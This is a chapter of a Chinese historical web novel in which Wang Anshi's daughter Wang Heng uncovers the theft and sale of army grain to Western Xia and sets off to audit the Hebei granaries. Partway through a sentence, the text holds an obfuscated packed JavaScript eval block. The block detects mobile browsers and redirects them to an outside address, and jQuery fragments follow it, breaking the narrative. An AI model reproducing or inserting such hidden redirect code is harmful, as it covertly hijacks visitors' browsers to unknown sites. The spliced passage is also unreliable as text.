“抓刺客!”
司马蓁的反应更快,她不知何时抄起了赌桌上的象牙骨牌盒,狠狠朝窗外砸去。木盒撞在巷墙的青砖上四分五裂,骨牌散落一地,发出清脆的碎裂声。
趁着这片刻混乱,她已扑到楠木柱旁,徒手拔下那支还在颤动的羽箭。
箭杆尚有余温,是刚离弦的样子。司马蓁反手就朝暗巷深处掷了回去,动作带着世家女子罕见的狠劲。
“呃!”
暗巷里传来一声闷哼,接着是急促的脚步声,踩在积雪上发出咯吱的响动,很快便消失在纵横交错的巷陌里。
唯有墙角处,半块被匆忙扯落的腰牌静静躺在雪地里——黑底金字,边缘錾着禁军制式的云纹,断裂处还带着新鲜的铜茬。
“禁军?”王珩被云英扶起来,后背被撞的地方火辣辣地疼。
她弯腰捡起那半块腰牌,指腹摩挲着断裂处的毛刺,“不对,是伪造的。”她将腰牌凑到烛火旁,“真正的禁军腰牌用的是熟铜,柔韧性极好,不会这么脆。”
司马蓁的脸还泛着惊魂未定的白,却强撑着走到窗边,撩开被箭射穿的窗纸:“往东边跑了,那边是我二叔的银号……”她的声音突然低了下去,指尖攥得发白,“说不定……”
“说不定就是你二叔的人。”王珩替她说完,将半块腰牌塞进袖中,“军粮盗卖牵扯甚广,他们急着灭口,倒说明翠儿爹这本册子,戳到了他们的痛处。”
翠儿的爹早已吓得瘫在地上,嘴唇哆嗦着像秋风中的落叶。翠儿跪在他身边,又是拍背又是喂水,好不容易才让他缓过那口惊魂未定的气。
“小……小娘子,”他喘着粗气,从怀里掏出个更小的油布包,层层打开,露出张泛黄的草纸,“这里面……是每月运粮的时辰和接头人的名字,我……我都偷偷记着呢……”
草纸上的字迹歪歪扭扭,还用炭笔勾画着简陋的地图,标着“初三寅时”“西城门老槐树”“黑衣带刀”之类的记号。
王珩越看眉头皱得越紧,这些时间点,正好与兵部抄送的“边关粮荒急报”一一对应。
“这些粮食……最终运到了哪里?”她的指尖点在草纸角落“西夏商队”四个字上。这几个字写得格外用力,炭笔几乎要戳破纸背。
翠儿的爹打了个寒颤,声音压得像蚊子哼:“听……听仓吏喝多了吹牛,说是卖给了西夏的人……他们说,反正军粮运到边关也会被层层克扣,不如……不如卖了换银子实在……”
“资敌!”司马蓁猛地拍了下赌桌,象牙骨牌被震得跳起来,“他们竟敢资敌!”她的眼圈瞬间红了,泪水在眼眶里打转,“我祖父总说新法祸国殃民,可这些人……这些吃着朝廷俸禄的旧党同僚,竟在背后做这种勾当!”
王珩没接话,只是将草纸小心翼翼地折好,与那本“鼠耗册”一同放进贴身的锦囊里。
锦缎贴着心口,能感受到纸张边缘的粗糙,像块烧红的烙铁,烫得她心口发紧。她知道,这事已不是简单的账目问题了,牵扯的是边关数十万将士的性命,是大宋的江山安危。
回到王府时,暮色已浸透了庭院的每个角落。出乎意料的是,王安石竟醒了,正坐在书房的梨木椅上翻看账册。
他花白的头发用根青玉簪松松挽着,脸色虽依旧蜡黄,眼神却清明了许多,见王珩进来,便放下账册,指了指对面的锦凳:“听说你今日在金钩坊遇险了?”
“爹。”王珩坐下,将“鼠耗册”和草纸推到他面前,“您先看看这个。”
王安石拿起册子,起初只是平静地翻看,指尖划过那些记录“鼠耗”的数字,看到第三页时,他的眉头开始紧锁;翻到“西夏商队”那页时,他猛地一拍案几,青瓷茶盏被震得翻倒,茶水泼了满桌的账册,晕开大片墨痕。
“岂有此理!”他的声音因愤怒而发颤,“竟敢盗卖军粮资敌!老夫这就进宫面圣,参他们一本!”
“爹,不可。”王珩伸手按住他的衣袖,指尖触到他袖口磨破的布边,“您现在进宫,拿什么做证据?一本草册?几张涂鸦似的地图?这些东西随时可以被说成是伪造的,反而打草惊蛇,让他们销毁更多证据。”
王安石愣住了,看着女儿苍白却坚定的脸,突然长长叹了口气。他这才发现,眼前的女儿早已不是那个需要躲在屏风后听政的小姑娘了。“是爹糊涂了。”他的声音柔和了许多,“那依你之见,该怎么办?”
“得找到实证。”王珩取过纸笔,蘸了蘸墨,在宣纸上画出河北军仓的大致分布。
“这些盗卖的军粮,必定要经过河北的几个大粮仓周转。”她的笔尖在“沧州仓”“霸州仓”几个名字上圈了圈,“只要能查到这些粮仓的账目,找到他们做假账的铁证,就能一击致命。”
王安石看着图上密密麻麻的标记,又看了看女儿因咳嗽而泛红的脸颊,眼神复杂:“河北苦寒,军仓更是戒备森严,你一个女子……”
“我有办法。”王珩笑了笑,从袖中取出那半块伪造的禁军腰牌,“他们能伪造身份,我们也能。”
父女俩正低声商议着,老管家突然轻手轻脚地走进来,手里捧着个锦盒:“相爷,三娘,三司使大人派人送了东西来,说是……专给三娘的。”
锦盒是用上好的紫檀木做的,锁扣是纯银打造的鱼形。王珩打开锁扣,里面静静躺着个银质鱼袋,袋身錾刻着“算学巡检”四个字,旁边还有块巴掌大的铜牌,上面刻着她的名字和籍贯,形制与朝廷命官的信物一般无二。
铜牌下压着张字条,是三司使韩绛的笔迹:“河北军仓账目混乱,恐有贪腐。请小娘子以‘算学巡检’身份暗查,事急从权,万勿声张。事成之后,必有重谢。”
王珩拿起那个银鱼袋,冰凉的金属触感从指尖蔓延开来。这鱼袋虽小,却代表着可以调阅军仓账目的权力。
三司使是朝中有名的中立派,向来只看账目不站队,他肯冒险送这信物,想必也是查到了些蛛丝马迹,却碍于身份不便出面。
“看来,有人比我们更急。”王安石看着银鱼袋,若有所思,“韩绛掌管天下财政,他若肯暗中相助,这事便好办多了。”
王珩将鱼袋系在腰间,大小竟刚刚好。她低头看着袋身“算学巡检”四个字,就低控制不住笑了起来,笑得牵动了胸腔的伤,忍不住剧烈咳嗽起来。帕子捂在嘴边,又添了几点刺目的暗红。
“这病躯……”她咳完,抚着腰间的银鱼袋,眼神却亮得惊人,“竟也要上‘沙场’了。”
“珩儿,”王安石握住她的手,她的指尖凉得像冰,“河北不比汴京,军仓里更是龙蛇混杂,你……”
“爹放心。”王珩回握住他的手,掌心的温度透过粗糙的布帛传过来,带着令人安心的力量,“女儿带着算盘去,保管把那些烂账算得清清楚楚,让那些蛀虫无所遁形。”
她顿了顿,补充道,“我会带上云英和司马蓁,她们都是可用之才。”
王安石看着女儿眼中的光芒,突然想起她幼时的模样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147102|180492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。那时她刚学会拨算盘,就搬着小板凳坐在自己身边,说要帮爹爹“算清天下账”。那时只当是童言无忌,没想到如今,竟真要靠这病弱的女儿,来理清这盘关乎国祚的乱账。
他点了点头,声音有些沙哑:“万事小心。若有难处,就用这个联系。”他从袖中取出个黄铜小哨,递了过去,“这是老夫当年在军中时用的,吹响了,自会有旧部接应。”
王珩接过铜哨,塞进袖中,与那半块伪造的腰牌碰在一起,发出细碎的轻响。
夜深了,王府后院的灯还亮着。王珩坐在案前,将河北军仓的历年账目细细整理出来,云英和司马蓁在一旁帮忙抄写,烛火在三人脸上投下晃动的光影。
“三娘,咱们真要去河北吗?”云英一边抄写一边问,笔尖在纸上划过,发出沙沙的声响,“听说那里的冬天能冻掉耳朵,还有……还有专吃人的狼。”
“有狼怕什么?”司马蓁接话道,手里的炭笔在地图上圈出个记号,“总比在汴京等着被冷箭射强。再说,我祖父常说‘读万卷书不如行万里路’,正好去看看真实的军仓是什么样子,省得总被账房先生的假话蒙骗。”
这几日的经历像是一场淬火,褪去了她身上世家小娘子的娇气,眉眼间多了几分干练。
王珩笑了笑,指着账册上的一行数字:“你们看这里,河北军仓的‘损耗’是汴京官仓的五倍,这本身就不合常理。要么是管理极其混乱,要么……就是有人在里面大动手脚。”
三人正说着,窗外传来几声猫叫,是她们约定的暗号。王珩走过去推开窗,见翠儿正蹲在墙根下,怀里捧着个油纸包,鼻尖冻得通红。
“小娘子,这是我爹想起的,说可能对您有用。”翠儿递过油纸包,里面是几块发霉的麦饼,“这是前几日从军仓流出来的‘军粮’,我爹说,真正的军粮根本不是这样的,里面掺了一半沙子,还发了霉,将士们吃了都上吐下泻。”
王珩拿起一块麦饼,掰开来,细小的沙粒从饼屑中滚落,霉味直冲鼻腔。她皱了皱眉,将麦饼重新包好:“这也是证据。拿着这个,就能证明他们不仅盗卖军粮,还以次充好,克扣将士的口粮。”
翠儿看着王珩,眼神里满是敬佩:“三娘,我也想跟你们去河北。我爹说,是您给了我们父女活路,我们不能知恩不报。再说,我力气大,能给您背账册。”
王珩看着她眼里的坚定,点了点头:“好,你也一起去。多个人,多个帮手。”
夜色渐深,烛火燃了一截又一截,烛泪凝固在案几上,像串晶莹的琥珀。
王珩将整理好的账目收进樟木箱里,又检查了一遍银鱼袋和铜哨,确保万无一失。她知道,此去河北,必定凶险重重,不仅有明枪暗箭的刺杀,更有那些隐藏在账目背后的龌龊与黑暗,稍有不慎,便是粉身碎骨。
但她不怕。
她想起父亲呕血的模样,想起边关急报上“将士无粮”的字眼,想起那些被蛀虫啃噬的军粮,胸腔里便燃起一股力量,压过了咳嗽的疼痛,压过了对未知的恐惧。
她的算盘,不仅要算清那些混乱的账目,还要算出公道,算出那些被黑暗吞噬的光明。
窗外的月光透过窗棂照进来,落在那把紫檀木算盘上,算珠泛着温润的光泽。王珩轻轻拨了一下,算珠碰撞的脆响在寂静的夜里格外清晰。
河北,军仓。
她来了。
带着她的算盘,她的伙伴,还有那份病骨里藏着的、不肯认输的铮铮倔强。